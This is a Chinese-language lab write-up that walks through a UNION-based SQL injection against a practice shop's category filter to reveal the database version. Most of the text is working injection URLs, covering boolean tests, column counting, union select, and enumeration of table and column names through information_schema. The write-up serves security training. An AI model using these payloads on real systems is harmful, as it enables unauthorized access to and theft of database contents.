前言:
实验室标题为
SQL 注入攻击,查询 MySQL 和 Microsoft 的数据库类型和版本
等级:执业者
简介:
本实验室的产品类别过滤器中存在 SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中获取结果。
要解决该实验室问题,请显示数据库版本字符串。
进入实验室
依旧是商店页面
尝试闭合
这里依旧使用谷歌插件 hackbar
使用单引号闭合,-- -注释,页面返回正常
https://xxxxxxxx/filter?category=Gifts' -- -
and 1=2 判断是否存在 SQL 注入
https://xxxxxx/filter?category=Gifts' and 1=2 -- -
页面返回空白
and 1=1 页面返回正常,and 1=2 页面返回空白,说明存在 SQL 注入
order by 排序
https://xxxxxxx/filter?category=Gifts' order by 2 -- -
order by 2,页面返回正常,说明有两列数据
联合查询
https://xxxxxxx/filter?category=Gifts' union select 1,2 -- -
页面存在回显点
查询库名,database()
https://xxxxxxx/filter?category=Gifts' union select database(),2 -- -
查询版本
https://xxxxxx/filter?category=Gifts' union select database(),version() -- -
成功通关
获取表名
products
https://xxxxxxx/filter?category=Gifts' and 1=2 union select table_name,version() from information_schema.tables where table_schema=database() limit 0,1 -- -
获取字段名
https://xxxxx/filter?category=Gifts' and 1=2 union select group_concat(column_name),version() from information_schema.columns where table_name='products' and table_schema=database() -- -